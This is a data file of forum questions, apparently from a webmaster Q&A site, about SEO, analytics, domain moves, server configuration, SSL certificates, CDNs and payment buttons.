{"id":"10592","title":"SEO question, getting info about websites","text":"I don't know much about SEO. I have a csv file with 200,000 links to websites i want to add another field (or maybe couple of them) to each link in the csv file with page ranking of each link and maybe other interesting metrics and info about the link. I saw a free API from http:\/\/apiwiki.seomoz.org\/ i can maybe use to build a simple script, but it's limited to 3 links for second which will roughly take 1100 minutes or 18 hours to run any other ideas how to get this kind of simple metrics about each link ? thanks !"}
{"id":"36052","title":"Clarity around Advanced Segment defintion","text":"I am hoping to get some clarity around an advanced segment I created. For context, our website spans multiple domains. For reasons I wont get into, I created an advanced segment that looks for pages containing my subdomain of interest (subdomain.site.com). I want to ensure that my interpretation of this advanced segment is accurate. Simply, it flags all visits to our entire domain that viewed at least one page on my subdomain of interest? If I am off, what does this advanced segment represent? Many thanks in advance!"}
{"id":"10596","title":"Why Opera browser is less supported than IE, FF and Chrome?","text":"Why Opera browser is less supported by web sites than IE, FF and Chrome? IE understanding, but why less than FF and even Chrome?"}
{"id":"10595","title":"Website Panel does it affect existing sites?","text":"Has any one used Website Panel? Does it affect sites all ready running under IIS?"}
{"id":"51659","title":"WP Yoast SEO's focus search term; is it necessary?","text":"On `Yoast's SEO` plugin @ `Wordpress`, I can provide one search term per post, which is the key term, the **_focus term_** (don't know the English word for it). I am wondering what this keyword does... I don't see, if I fill it in, a thing related on it on my page source and I don't know what it does or what it should do. For example, I have a post called `\"Hello World\"` and I put in the **key term:** `hello`... What should Google do with this? Does it give priority? Does it do a thing or solely nothing? Can someone explain this to me? Because right now I have not filled in these fields, because I thought that it was unnecessary..."}
{"id":"33262","title":"Reservation System With Calendar Integration","text":"I am working on a Website for a tour guide. I need an self-hosted online reservation system that supports Paypal payment processing. I also need it to have some sort of iCal\/Google Calendar integration. I have tried searching, but very few services offer calendar integration. Do you know of anything good, possibly open-source?"}
{"id":"18668","title":"Is it possible to limit user access to folders using HTACCESS?","text":"Is it possible to limit user access using a HTACCESS file? I'm not quite sure how to edit folder permissions with the host i'm with so I figure using an HTACCESS file might be easier."}
{"id":"37908","title":"SEO indexing with dynamic titles, keywords and descriptions","text":"I'm working on a website (all in one single domain) so I'm wondering to create dynamic titles, descriptions, keywords and headings for each location. What I'm doing is to get information from the IP address of the user and show for example a dynamic title: var userCity = codeToGetCityFromIP; <title>Welcome to userCity<\/title> \/\/ and same for description, keywords and headings... Obviously the code is different. I'd like to know if it is a good solution to create multiple SEO indexing based on cities? I'm also using _GeoLocation_ and I do same using the returned values from it. I'm doing right or there are more effective ways to indexing in different countries and cities without create multiple website for each city of the world?"}
{"id":"18664","title":"Does embedding youtube videos help SEO?","text":"I hear lots of people talk about videos as being good for SEO, like it is more and different content. But to imbed a video, youtube makes it an iFrame, which means it can't be crawled by google, right? So then if it can't get crawled, its irrelevant for SEO, right?"}
{"id":"31666","title":"Is it possible to have multiple subdomains point to the same Blogger blog?","text":"For our application we want to have a status page which is hosted outside of the rest of our infrastructure so in case there are issues in our data center we can post updates for our users and our users will be able to access them. We registered a blog on Blogger and set it up with `xyzstatus.blogspot.com` and `status.xyz.com`. Everything seems to work fine. We need to perform some maintenance at our datacenter which will sever all connectivity so we're unable to have a redirect using nginx or apache. We'd like to do this with a short TTL CNAME DNS entry. Ideally `www.xyz.com` and `app.xyz.com` could be CNAMEd to `status.xyz.com`. When I setup the CNAME and go to that URL I get a Google broken robot 404 page. I figure I must need to let Google know it should associate traffic to `www.xyz.com` and `app.xyz.com` to the blog served up by `status.xyz.com`. But I can't see anywhere to do this in Blogger. Does anyone know if this is possible?"}
{"id":"27434","title":"Best way to move your domain and keep the Google position","text":"I have to move one domain to a new one which is semantically better for SEO. I would like to know the best way to do it so that the new domain keeps the google position. I know the basic steps: * to put a redirection 301 in the old one, with an apache script, it can be very detailed, but the important is the 301 header * for google you can tell them through the webmaster tools page * try to gain pagerank for the new domain"}
{"id":"20421","title":"Personal site\/blog, my desired .com\/.net are taken","text":"I want to start to have a place on the internet I can call my own. Stack Exchange, Google+, and Twitter are nice, but they're all services where I have to play by their rules and I don't really own my own content. So I've decided that I really need my own site. The problem is, my desired `.com`\/`.net` domains are taken. If it matters, my desired domain involves my name. * Will people have difficulty remembering or typing a less common extension and\/or will I be judged in a less favorable light if I don't have a `.com`\/`.net`? * If not, which extension would be best for a personal site? `.org`, `.co`, `.me`, `.us`, and many others are available?"}
{"id":"38369","title":"Visual sitemap generater","text":"I'm looking for a something to visually create a sitemap for one of my websites. Id like something in a tree structure, so I have the hierarchical view of my site. A couple requirements I have though, the ability to map password protected pages, and (not REALLY a requirement) the ability to integrate Google Analytics data."}
{"id":"17901","title":"Picking the right domain name","text":"The issue I have is that my family name is relatively common, and I'm pretty awful at coming up with names. Yet I'd like to register a decent domain name that SEO won't hate. The point of the site would be about programming in general, and some things about android development. So I was thinking about registering fmdev.org (or .net any input on which of the two is more interesting is always appreciated). The reason for not picking a .com despite its obvious advantages is that I'm a bit leery about how the USA has been acting lately in regards to privacy\/ownership of people from another country when they just own hosting in the USA\/having a .com domain name). I first thought about going for the full blown development instead of dev, but that seemed a bit on the long side. And I'm guessing google's search engine will pick up on the meaning. (or am I mistaken in that?) Any advice\/input is always appreciated."}
{"id":"17902","title":"How can I include location data in a page so that Google search results include a map?","text":"I'd like to include extra information that would give us a bump in location specific search?"}
{"id":"38073","title":"Is there a CDN for backbone.marionette?","text":"Getting started with Backbone and Marionette, I was about to copy the file at `https:\/\/github.com\/marionettejs\/backbone.marionette\/blob\/master\/lib\/backbone.marionette.js` to my local server, but wondered if there was a CDN version of it. For Underscore and Backbone dev, I'm including these two files, respectively: http:\/\/documentcloud.github.com\/underscore\/underscore-min.js http:\/\/documentcloud.github.com\/backbone\/backbone-min.js Is there a similar URL for backbone.marrionette.js?"}
{"id":"20358","title":"Storing Downloadable Content Securely","text":"For a site where users can purchase videos for download. What would be the best way to store the media? Any other helpful considerations are more than welcome. * Outside the root directory? * Seperate server? * Changing permissions? Also, to improve preformance, is there such a thing as hosting your website on one server. Then on another server configured more for large downloads and bandwidth, hosting all the downloadable content?"}
{"id":"30688","title":"Migrating PageRank\/rankings from one site to another","text":"I've got a client's company site with decent PageRank, backlinks and search engine rankings. The client wants to change their company name and therefore URL. I will set up a redirect between the old site and the new. But I was wondering, is there a way to tell Google that they are moving while retaining all the rankings? It is the same people, services, office building, same everything, just rebranded under a different name and URL. Additionally if there is a way to do this, how does Google handle you buying expired domains and just pointing them onto your site? Could I buy several PageRank 3 domains all relating to the same sector and point them at my site or would Google catch on to this?"}
{"id":"67066","title":"Retroactively view Google Analytics data by application version using a segment","text":"I understand that filters don't retroactively apply to previous data. I have been learning segments, but I can't seem to figure out how to properly filter my data by the application version. I have tried adding an `Advanced -> Condition` with `App Version` `contains` `regex for version`, but this doesn't seem to do anything. I have noticed that the `Preview` and `Test` buttons are disabled. Am I missing something here? I am pretty sure that the regex is correct (`1\\\\.1\\\\.0-rc2` to match `1.1.0-rc2`)."}
{"id":"35042","title":"How to overcome politics of the net (Google translate code refuses to work from a specific region)","text":"> **Possible Duplicate:** > How to overcome politics of the net (Google translate code refuses to work > from a specific region) I have this Web Site. It uses the Google Translate API (Can't post the link, does not open from this region) with the following code. <meta name=\"google-translate-customization\" content=\"9f841e7780177523-3214ceb76f765f38-gc38c6fe6f9d06436-c\"><\/meta> <script type=\"text\/javascript\"> function googleTranslateElementInit() { new google.translate.TranslateElement({pageLanguage: 'en'}, 'google_translate_element'); } <\/script> <script type=\"text\/javascript\" src=\"http:\/\/translate.google.com\/translate_a\/element.js?cb=googleTranslateElementInit\"><\/script> The problem is since this, it just stopped working. On the site you can see that I had to actually remove the above from here, here, and here while left it here, here, here and here. This is so because the the web site \"refuses\" to load at all with the pages that have the code (i.e., from this region.) If I use Firefox Stealthy Plugin and open the site in Firefox, It works like a charm without any problems. But with Google Chrome, Apple Safari and Opera Web browser, the site does not load\/open at all because of the Google translate. (I know this because If I remove the Google Translate Code, the site works\/loads fine) It was one thing to program for \"cross browser compatability\" and alltogether another to program for \"cross region compatability\". What can I do to make sure that the site works from anywhere? Do I completely remove the Google Translate code and just have to do without the additional functionality or Do I look for alternatives like this or according to this?"}
{"id":"28606","title":".htaccess and browser caching","text":"I ran across these suggested htaccess edits. Is this a good practice? Is this something I should implement on my wordpress site?: <IfModule mod_expires.c> ExpiresActive On ExpiresByType image\/jpg \"access plus 1 year\" ExpiresByType image\/jpeg \"access plus 1 year\" ExpiresByType image\/gif \"access plus 1 year\" ExpiresByType image\/png \"access plus 1 year\" ExpiresByType text\/css \"access plus 1 month\" ExpiresByType application\/pdf \"access plus 1 month\" ExpiresByType text\/x-javascript \"access plus 1 month\" ExpiresByType application\/x-shockwave-flash \"access plus 1 month\" ExpiresByType image\/x-icon \"access plus 1 year\" ExpiresDefault \"access plus 2 days\" <\/IfModule>"}
{"id":"44502","title":"How can I do? I accidentally delete google and alexa verification meta code","text":"I accidentally delete Google and Alexa verification `<meta>` code from `<head>` and all have gone. I went to both Google Webmaster tools and Alexa but I cannot find where I can get verification meta code again. Anyone know where I can get it again?"}
{"id":"44505","title":"How do you prove your traffic to potential advertisers?","text":"Potential advertisers always ask me how much traffic my website has, the number of unique visitors, etc. I have all these stats but I would like more transparency (otherwise how do they know I haven't enhanced the stats?). Is there a website which does that (ie simply measuring the traffic - nothing fancy) so that I could tell potential advertisers to check my stats on that website. This way it would be completely transparent. I imagine I would have to install a javascript file (from their server) on my website so that they can measure my traffic. Thanks."}
{"id":"55404","title":"Pre-registering a second level gTLD domain name: what rules apply when collision happens?","text":"Pre-registrations of second level domain names are open for a good number of the new gTLDs, and one can pre-register with many different operators. But let's say I'd like to pre-register a myname.guru or myname.ventures or myname.family domain name through one of these pre-registrars (those are just examples of gTLDs that will be open to the public). What will happen the day these domains open for actual registration (after the sunrise period) if someone else in another country did the same thing with another pre-registrar ? Is there a first-come first served rule ? Does it depend on the gTLD registrar who will be chosen or is there a general rule defined by ICANN ?"}
{"id":"68946","title":"How to Track outbound clicks in google analytics","text":"I know there are several ways that will help me find out how many times that user clicked on the outbound links but situation is pretty complicated. It is a school website, KENT SCHOOL DISTRICT and the home page of the website has a left sidebar with shortcuts (links). Website is built in School Wires (Content Management System) and the school wires does not provided us the code for the site shortcuts. Under site manager, we have site shortcuts tab (Look Below)  Basically we don't do any hardcoding for the shortcuts. So far I have tried: 1. I was first planning to use EVENT TRACKING 'onClick' in my anchor tag, but as soon as I found that my school website is not using hard coded links, I dropped that idea. My question is, Is there anyway that I can track the outbound links? Basically I want to count how many times that shortcut on the left sidebar has clicked?"}
{"id":"11121","title":"Portfolio Website","text":"What is the best approach to make a portfolio website for an artist? Any of these methods? 1. Using a template and customising? (Problem: most templates are product driven) 2. Use a CMS -> which one would be useful for a portfolio?"}
{"id":"67397","title":"Google Webmaster Tools doesn't show any indexed pages after redirection","text":"I have a website that was properly configured in Google Webmaster Tools and indexed in Google. Then I created a redirection from this website to my new website so that any request to: `www.mysite.fr` goes to: `www.mysite.com` I have added the new site to Google Webmaster Tools, but so far the number of indexed pages is zero. If I check the stats of my old website, it seems they were updated with the data of the new website (sitemap and indexed pages). This is very confusing, can someone explain what's going on? Is this expected behavior after a `301` redirect?"}
{"id":"29532","title":"When I'm delivering a page with the XHTML mime type, should I use XML DOM or HTML DOM?","text":"I prefer using the XHTML mime type for pages, instead of HTML, and serve a different mime type to IE, but when I do this, should I use XML DOM or HTML DOM?"}
{"id":"51009","title":"Why does Firefox suggest I have mistyped my domain?","text":"If I type my own domain into the Firefox address bar it will suggest that I may have mistyped it and offer to \"protect me\" by redirecting to a large commercial website which is the same as my own domain but with one vowel removed. If I check the Google Safe Browsing diagnostic page there is \"nothing suspicious\" about my domain. I do not get the big red \"malware\" page, only a suggestion that I have mistyped something. What criteria is Firefox using to make this recommendation?"}
{"id":"67398","title":"How can I disallow access to my website by its IP address?","text":"I want my website to be accessible only by the domain name, not by the server’s IP address. How can I configure Apache to achieve this? Below are the VirtualHost configurations of Apache. <VirtualHost *:80> ServerName not.configured DocumentRoot \/var\/www <\/VirtualHost> <VirtualHost my.server.ip.address> DocumentRoot \/home\/user\/public_html ServerName www.example.com ServerAlias example.com ErrorLog logs\/example.com-error_log <\/VirtualHost>"}
{"id":"55402","title":"Tracking affiliate referrals and sales with Google Analytics events","text":"OK this is my situation. I did a lot of reading about GA events and I'm not still quite sure how I will be implementing this. I have a website that is accepting affiliates. I sell lots of genuine products and there quite a number of affiliates joining already. They requested a way to track the performance of their affiliate links. I am thinking maybe Google Analytics Events tracking is a good solution here. Currently I only provide the affiliate link and URL for them to use, it does not include any GA tracking information. This what I need to accomplish based: a.) When their affiliate URL or link sends a visitor to my site, I would like to send an event to their GA account with this information: * Landing page * Referrer page (so that they know what pages in their sites work best) b.) When that visitor made a sale on my site, I would like to send another event to my affiliates with this information: * Product purchased * Language With those two above information provided to my affiliates coming from the two events; it can help affiliates optimize the way they work with my site. **Possible Solution and Questions** a.) For the first event, I can add a radio button (yes and no answer) on their affiliate account page in my site something like \"Enable Google Analytics notifications when we get traffic and purchases from you?\". Then if they answer \"yes\". I can add onclick events to all tracking links (which they can paste on their website) like this: _gaq.push([‘_trackEvent’, ’Category’, ’Action’, ’Opt Label’, Opt Value, ’Opt non-interaction’]) Is this the correct solution? Now that we have this event tracking set. They can login to their GA accounts and see what links that goes out as well as the referrer page. Or is their a way for me to send events to their accounts, such as the landing page information and referrer page? b.) For the second problem, I still don't have any idea on how to do it. Any advice would be highly appreciated. Apologies if the solution to this is very easy, I'm more of a web developer\/coder and not a marketer or expert in GA."}
{"id":"51383","title":"Duplicate meta description for paging in Google Webmaster Tools","text":"In Google Webmaster tools I get duplicate content warnings for paging pages. How do I fix this? Do I need to add Page 2, Page 3, etc. to my meta description? > HTML Improvements > Duplicate meta descriptions Meta description information can give users a > clear idea of your site's content and encourage users to click on your site > in the search results pages.  I have these already in place. <link href=\"http:\/\/site.com\/youth-basketball-tournaments?page=2\" rel=\"canonical\" \/> <link rel=\"prev\" href=\"\/youth-basketball-tournaments?page=1\" \/> <link rel=\"next\" href=\"\/youth-basketball-tournaments?page=3\" \/>"}
{"id":"452","title":"What are the benefits of RDFa?","text":"I've seen some blogs etc. about this new technology: RFDa, but is there any benefits in using it now. From what I understand, it's mainly used by search engines and other crawlers, but have Google, Bing and others implemented it yet? Will give a better rank on their pages if I use it, or will it just make my results more data enriched?"}
{"id":"1343","title":"Guidelines for Opera Mobile","text":"Opera Mobile fails to render two sites I help out with correctly and I cannot find the guidelines for Opera Mobile. All other browsers tested (even Opera for the Wii) show these sites correctly. There is an emulator to help development but it is impossible to help the browser work correctly without knowing the rules. Do things have to be presented to the client differently?, are there limitations on certain elements?, does JavaScript suffer from race conditions?, etc... or is there a universal \"please use Safari Mobile\" campaign in the same vein as the dump \"Internet Explorer 6\" efforts?"}
{"id":"47776","title":"What is the maximum safe line length in css files?","text":"YUI Compressor and other minifiers tend to remove unnecessary whitespaces, causing long lines. Safari 5 seems to fail rendering some rules from the css files when the file has more than 5000 characters per line (blog post about my experiences). UglifyJS has a `\\--max-line-len` (default 32K characters) and the author says at the page > _I’ve seen both FF and Chrome croak when all the code was on a single line > of around 670K_ **What is the maximum safe line length in css files?** I would like to support most of the still active browsers, while still removing unnecessary whitespaces. Any references to specifications would be useful."}
{"id":"47777","title":"Should I use both Robots.txt and META NAME=\"ROBOTS\"?","text":"I am currently using the Robots.txt file (the standard one of joomla, to say). Now I have found that there are also specific HTML meta tags that specify desired robot behavior. Is there a reason to use one over the other?"}
{"id":"1346","title":"What is the correct way to code incoming links for SEO?","text":"Our site is giving out 'badges' to our authors. They can post these on their personal blogs and they will serve as incoming links to our site. We want to give out the best possible code for SEO without doing anything that would get us flagged. I would like to know what you're thoughts are on the following snippet of code and if anyone has any DEFINITE advice on dos and don'ts with it. Also, let me know if any of it is redundant or not worth it for SEO purposes. I've kept the CSS inline since some of the writers would not have access to add link to external CSS. I've changed the real values, but title, alt etc would be descriptive keywords similar to our page titles etc (no overloading keywords or any of that) <div id=\"writer\" style=\"width:100px;height:50px;> <h1><strong style=\"float:left;text-indent:-9999px;overflow:hidden;margin:0;padding:0;\">articles on x,y,z<\/strong> <a href=\"http:\/\/www.site.com\/link-to-author\" title=\"site description\"> <img style=\"border:none\" src=\"http:\/\/www.site.com\/images\/badge.png\" alt=\"description of articles\" title=\"View my published work on site.com\"\/> <\/a> <\/h1><\/div>"}
{"id":"1347","title":"How can I decide if I should roll my own software or use a packaged CMS (and appropriate plugins)?","text":"I'm a software engineer with little web experience currently in the process of wanting to actually using my web host and domain name for something other than a file dumping ground for files that I need to give other people access to. My plan is to somehow deploy a personal\/professional website and blog, either using FOSS off-the-shelf products, custom software, or off-the-shelf components with custom modules\/plugins. My requirements are: 1. Semantic HTML (well formed, proper use of attributes, microformats where appropriate, use of CSS for style and HTML for markup) 2. Validating HTML and CSS (XHTML, HTML4, HTML5 all acceptable - as long as it validates out of the box) 3. Support for a blog 4. Support for editing and managing my resume in HTML form as well managing uploaded files in PDF, ODT, and DOC formats that I make available for download 5. Written in a language that I know and my host supports - PHP preferred since that's easiest for my to host and I also am familiar with it 6. Easy to obtain or write a themes for 7. Support for static pages that change infrequently (about me), static pages that change sometimes (project lists), dynamic pages (blog, comments), and forms (contact me) 8. Plays nicely with other tools in the same environment - I use Trac on the same host for project management and might deploy other software such as a personal MediaWiki deployment 9. Easy to integrate with other social media (Twitter? Facebook? Pandora?) - not require, but would be nice 10. Generation and maintenance of the sitemap and\/or robots.txt My questions: * What, if any, FOSS solution would be appropriate for me? I've toyed around with Drupal and WordPress in the past - WordPress struck me as a solid tool, but at the time was very blog-focused (I understand it's changed more recently to be more CMS-like). * What free (but not open source) solutions might be appropriate for me? I would prefer to have full access to the source, but it's not a requirement. * If I am going to roll my own, where should I begin? I would prefer not to roll my own - my software engineering background tells me that my requirements should be common and I should be able to find some existing solution(s) that I can combine to make this work. Thanks."}
{"id":"4467","title":"How to set the Bit Length when generating SSL Certificat with Java keytool?","text":"I'm going to create a SSL Certificate so I can use https on my web site. I have to generate a Certificate Signing Request (CSR) and I did generate such a file with the Java `keytool` following the guide Generate a Certificate Signing Request (CSR) on Tomcat, but when I upload my CSR, I get a message from GlobalSign: > We suggest that a Bit Length of 2048 bits is used when generating your CSR. > Please regenerate your CSR and select this Bit Length. So how do I set the Bit Length to 2048 bits using the Java `keytool`? I generated the CSR file with: `keytool -certreq -keyalg RSA -alias your_alias_name -file certreq.csr -keystore your_keystore_filename` And before that I created my certificate keystore and private key with: `keytool -genkey -alias your_alaias_name -keyalg RSA -keystore your_keystore_filename`"}
{"id":"15415","title":"Testing websites on devices such as iPhones?","text":"I'm aware of many sites that you can use for cross-browser testing and I was wondering if anyone knows any free sites that you can use to test sites on an iPhone?"}
{"id":"8110","title":"Why Google may decrease PR of a site?","text":"I found that Google decreased PR of my site and wonder why. Except recent submit of my programs to download sites and change of Google Analytics to asynchronous code there were no other changes to the site I can think of."}
{"id":"50756","title":"MediaWiki Error: Lua error: Internal error: The interpreter has terminated with signal \"11\"","text":"I have a MediaWiki deployement at: http:\/\/wiki.tankpedia.org\/ I have been importing templates from Wikipedia and am receiving a Lua error for the Convert template; the error is: > Lua error: Internal error: The interpreter has terminated with signal \"11\". The error can be seen here (you have to click on one of the 'Script Error' messages): http:\/\/wiki.tankpedia.org\/index.php?title=M2_Light_Tank The Scribunto deployment this is dependent on is `chmod` to 755. The following error also appears on the same page: > Expression error: Unrecognized punctuation character \"[\" Research online suggests this relates to the ParserFunctions extension however it is installed; I even added the following extra line in my config file and it did not help: > $wgPFEnableStringFunctions = true; I reinstalled ParserFunctions Version 1.5.1 as well as trying Version 1.4.1; the reinstall of the first and trying the second both failed to resolve this issue. I also tried chmod the ParserFunctions deployment to 755 to see if there was a permissions issue; it did not help."}
{"id":"26741","title":"mobile subdomain seo optimization","text":"Hi we developed a site and just released a subdomain for mobile * mysite.com * m.mysite.com we have different robots.txt and sitemaps for each so for a search engine they all look totally different although all the paths are sames. but is this a good solution ? eg: * m.mysite.com\/apps\/stackoverflow * mysite.com\/apps\/stackoverflow Is there anything to be done to match those site for google index and as well as to get proper facebook and twitter likes ? any meta tag ? Thanks in advance"}
{"id":"7719","title":"Free Online Survey Form which enable me to insert image in survey question","text":"All the while I am using Google Form to publish my survey. Now, I would like to have image on my survey form. I realize Google Form doesn't have such feature. Is there any other free alternative service I can use? Thanks."}
{"id":"25479","title":"Is PayPal (Website Payments Standard) appropriate for invoicing?","text":"Here's what I want to accomplish: 1. Agent sends email invoice to client containing payment link. 2. Client clicks link, is brought to a site (ours or a payment processor's), and presented with a payment form. 3. Client submits form, charge is processed, and dropped in agent's checking account (minus whatever processing fee is necessary). Regular old PayPal's \"Request Money\" feature could be used for this, but that requires that the client has or creates a PayPal account. I'd like to avoid that, hence this question. A few other considerations: * Volume is low enough that a full merchant account or service requiring a monthly fee is overkill. * Agent sells a service, not shipped goods. * Ticket price is static. * Due to my requirements' likeness to that of phishing schemes and sex workers (we are neither), I am somewhat wary of PayPal's alleged habit of freezing the accounts of questionable businesses without investigation. I mention Website Payments Standard since as I understand it, we _could_ : 1. Have a page on our site (hidden from spiders, not linked to) with a WPS form. 2. Email invoices to clients containing a link to that page. 3. Client fills out form and PayPal processes the charge. I did look into FastSpring, which does have an invoicing feature like what I'm looking for, but their service can only be used (contractually) to sell digital goods. FreshBooks also came up in my search, but is too expensive and doesn't supply payment processing. So then--anyone care to drop the knowledge on what the best practice is for this? Suggestions of processors would be appreciated in addition."}
{"id":"39305","title":"Did anyone experience negative SERP movement after implementing rel=author?","text":"I am not intrested in why I don't see the picture in SERPs. So I know this is borderline off-limits but I turned every stone in the web (including DDgo) trying to find anybody experiencing a worse position in SERPs after implementing `rel=author` tags. In Google Webmaster Tools:  Everything seems fine but the first results dropped 14 places in SERPs in the past two days. The original landing page went down from first page to 5th page in a few days. It is a useful site with original content concerning marriage laws. This specific page is no where to be found and now the first result leads to the home page. Assuming everything else is the same with no changes made to the site at all is there a reason the `rel=author` tag will cause such a plummet? Additional info that might be useful: * The google+ account is as dead as a palm pilot."}
{"id":"50759","title":"Creating temp\/fake URLs for user generated content","text":"I'm working on a site that hosts classified listings. I'm currently using hash\/query params and Ajax to display content. Example: `www.site.com\/viewpost?id=34089` We are now interested in making unique URLs with more info for SEO. Example: `www.site.com\/title\/category\/stuff\/info-0037843.htm` How do I go about getting from example 1 to example 2? Are these URLs actual pages on the server? Or is there some rewrite trick to pull this off? I've seen this done on several other sites, but I'm not aware of how it's done. The site is on a shared hosting environment with a LAMP setup."}
{"id":"25478","title":"Looking for new placement on poor performing ads","text":"I don't know if this is an acceptable question in this forum. But, I'm seeking advice on better ad placement for a site. I have a site that's averaging 2000 unique visitors a day right now. It's not getting a good CTR at all. You can see the add placement here Hollywoodnose.com. I'd put a screenshot but you need higher rep. points. As you can see I have the 3 main ads. I've tried a bunch of layouts. The right rectangle seems a little shoved in the users face. But, I've put it at the bottom too with a comparable CTR. Any suggestions on how to improve the ad placement? Thank you."}
{"id":"50286","title":"how to fix bad seo after being hacked","text":"About a year ago my wordpress website was hacked & some company decided to go nuts and actually do some \"SEO\" on the various links it created. Some of the pages would show up on google as \"payday cash advance\" instead of \"portfolio\". The issue has been resolved, but now as I've been doing GOOD seo, I've noticed (when checking backlinks) that there are TONS of links still on the internet (mostly broken sites now) that have links to my website with titles like: \"get a loan today\" and so on. Is there a way to remove these links ? Can I tell google to ignore them ? Help !"}
{"id":"8376","title":"Changing title (H1) of page- is it necessary to change URL?","text":"I am planning to update content on an already performing page and expand the content on page. In order to accommodate the extra content, updating the title of the page is necessary and I think could help the SERP of the page. The question is around updating the URL as well, which would require a 301. The URL is constructed: http:\/\/www.domain.com\/title How important is it to update the URL to reflect the new title of the page?"}
{"id":"33422","title":"Setting Up CDN...beginner questions","text":"I am using MediaTemple web hosting and they are using Edgecast's CDN network. I am planning to join CDN service, so I read through the guide, but I am confused about the 'Update your code' section: Does the CDN apply to my website automatically (without editing HTML) after I updated the DNS zone file? How can I control which files going through the CDN or not? Also, I need to make sure it won't affect the Google Analytics results."}
{"id":"8372","title":"The Joomla 'create a template' tutorial","text":"I've recently downloaded Joomla using an instant download option, and now I'm looking to create my own templates. I went to http:\/\/www.siteground.com\/tutorials\/joomla15\/joomla_create_template.htm and am trying to follow the tutorial but I've failed at the first hurdle... where it says: > First, open the \"templates\" directory in your Joomla installation. Then > create a subfolder in it named \"tutorial_template\". All the files of your > template will reside in it. The problem is I have no clue how to do this, where is the directory to start with? The only thing I know how to get up is the administrator's screen, in which I have to choose one of the stock templates, which would be great if I didn't care about my own designs...but obviously I'm looking to have my own HTML and CSS coding used instead. How do I find where the folders are and how do I open them?"}
{"id":"58386","title":"Save web page results in blank page","text":"I tried to save my webpage \"save as Webpage, HTML only\" generated by php file. But when I save it and open it, it is blank. When I save it as \"complete\" then it is fine. Page is pure html\/css after generating with php. Everything from css to javascript is included into that page, none of it is called outside"}
{"id":"8379","title":"HTML (4.01) \"lang\" attribute: Best practice \/ Browser compat for where to place: HTML or BODY?","text":"I'm just creating a new site from scratch. Each page in that site will have a default language and I'd like the markup to reflect it because there will be multiple languages. I'm using HTML 4.01 and I'm targetting older browsers as well (e.g. IE 6, Opera 8, Lynx etc.). Regarding Cross-Browser compatibility as well as of \"best practices\" where to place the lang attribute: To the HTML tag or to the BODY tag or does this make no difference at all? I'm going towards the BODY tag as it contains all the default languages text, while the HEAD might not always. But I have no clue if any browser is taking care of the lang attribute anyway. Any hints? (or is this a question for http:\/\/doctype.com\/ ?)"}
{"id":"67937","title":"Does a semicolon DNS record serve any purpose?","text":"I'm helping my boss clean up our DNS records on Verizon and neither one of us is sure what to make of these. There are a couple records that consist solely of a semicolon. No record type, no address, no anything--it's just a semicolon. Do these serve any purpose, or can we just remove those records?"}
{"id":"67930","title":"Are there any disadvantages to Cloudflare’s “Flexible SSL”?","text":"Cloudflare let you serve your site over SSL without having to purchase and install a security certificate, a product they call “Flexible SSL”. (They act as a proxy and serve your site over SSL from their servers, while the connection from your server to their’s remains unencrypted.) They currently offer Flexible SSL for paid accounts that start at $20\/month, but they plan to make it free for everyone by mid-October 2014. With Google's recent announcement that HTTPS is now a ranking signal, I'm considering switching several sites to Cloudflare, buying a Pro account, and turning on their “Flexible SSL” option, because it seems like the easiest way to serve several sites over HTTPS without having to purchase and manage multiple certificates. **Is there any downside to Cloudflare's Flexible SSL?** I'm comfortable using Cloudflare as a proxy – I'm more interested in two factors: 1. The experience for end-users. (e.g. Will visitors see security warnings?) 2. The level of security offered. (Presumably enough for a simple blog, but not for an online shop because they'd pass credit card data from their server to yours unencrypted? Or am I misinterpreting?)"}
{"id":"67939","title":"How to analyze exits in Google Analytics","text":"I am trying to track what a visitor does immediately prior to exiting our website. Specifically I have a number of events that are being logged and I would like to know which one, if any, happened immediately prior to leaving the site. I can see that segments now have a 'sequence' option so I was wondering if there was a way to use this. I had a go at creating a segment that includes events of this type immediately followed by 'exits > 0' but this just seems to return every session that triggers one of these events. I assume it's looking for a values of exits > 0 rather than a change in the number of exits which is what I was hoping for. Is there any way of analyzing events preceding exits like this?"}
{"id":"50132","title":"How to make an apDiv show up in same spot on all browsers","text":"I'm pretty new to the whole webmaster stuff and am just trying to format a slideshow on my homepage to be in a certain area with an apDiv, but as soon as I use another browser it's in a different location. Is there a way to make them appear in the same spot for all browsers? Here's a screen shot: http:\/\/i.stack.imgur.com\/sFNUS.jpg"}
{"id":"50136","title":"PayPal buy now button to charge different amount depending on the country the user is from","text":"Customers to my website who are from the USA need to pay more P&P then UK customers. How do I make a PayPal button which charges a different amount depending on the country the user is from?"}
{"id":"24428","title":"Does anyone know about some Flash or JS image gallery that allows multiple image selection simultaneously?","text":"I need to show a list of image thumbnails, and the user should be able to select one or more images from this list and then the selected images should be \"best fit\" displayed. For example, with 3 selections a triangular presentation should be used, with 4 selections a square, and so on."}
{"id":"28953","title":"Is it possible to request Google and Bing\/Yahoo to drop the cache of links they have indexed?","text":"I radically changed the design of my site to not include embedded session keys which were part of the url itself i.e. \/sessionkey\/blahblah\/blah to just \/blahblah\/blah. Now that I have relaunched my site. I am getting hammered with request for URLs which do not exist anymore. I am return 404 Not Found and 410 Gone to the crawlers, but is there anything easier than have them pounding on my server to get a bad response? I would use their remove feature but all of the session keys indexed were random strings. I would have no idea which session keys to specify. One thing I do know is all of the keys start with a number, I do not know if bots do regex on robots.txt? Thanks"}
{"id":"28955","title":"How to reverse engineer the SEO on a website?","text":"I have read this question. My question is a bit different from it. I want to know how can I reverse engineer another website that is ranking the best for some keywords. For example some website called `www.bla.com` is there and it ranks high for many keywords and I want to learn from it how can my website be of the same authority and get the same ranking (or probably better ranking if I found something that they are missing). Can anyone enlist it as a procedure, how to **reverse engineer** a website?"}
{"id":"28773","title":"Find Email from URL link","text":"I have a url link of a company. I need to find all email address of this company. Which is the easy way to find their email address by using url."}
{"id":"28956","title":"changing the subdomain and SEO issue","text":"because of \"government filtering\" in Iran, once in a while we have to move the whole site into a new subdomain. For example i create a new sub domain on my public_html : `http:\/\/01.mydomain.com` I know Google webmaster has a feature to change domain, but it doesn't work with sub domains. as you can guess, the site is still accessible with www sub domain, now what's the best way to make Google to show the search results with new sub domain ? because the WWW sub domain is blocked now! any opinion would be helpful."}
{"id":"28959","title":"I have a lot of images for my website. However, they all need to be cropped. Is there a way using graphics magick?","text":"I have about 4000 images that need to be cropped. The task is rather simple really. They all have a white border that **_varies_** but is always between say 20 and 50 pixels. I want to use graphics magick to remove that white border from all the images. How?"}
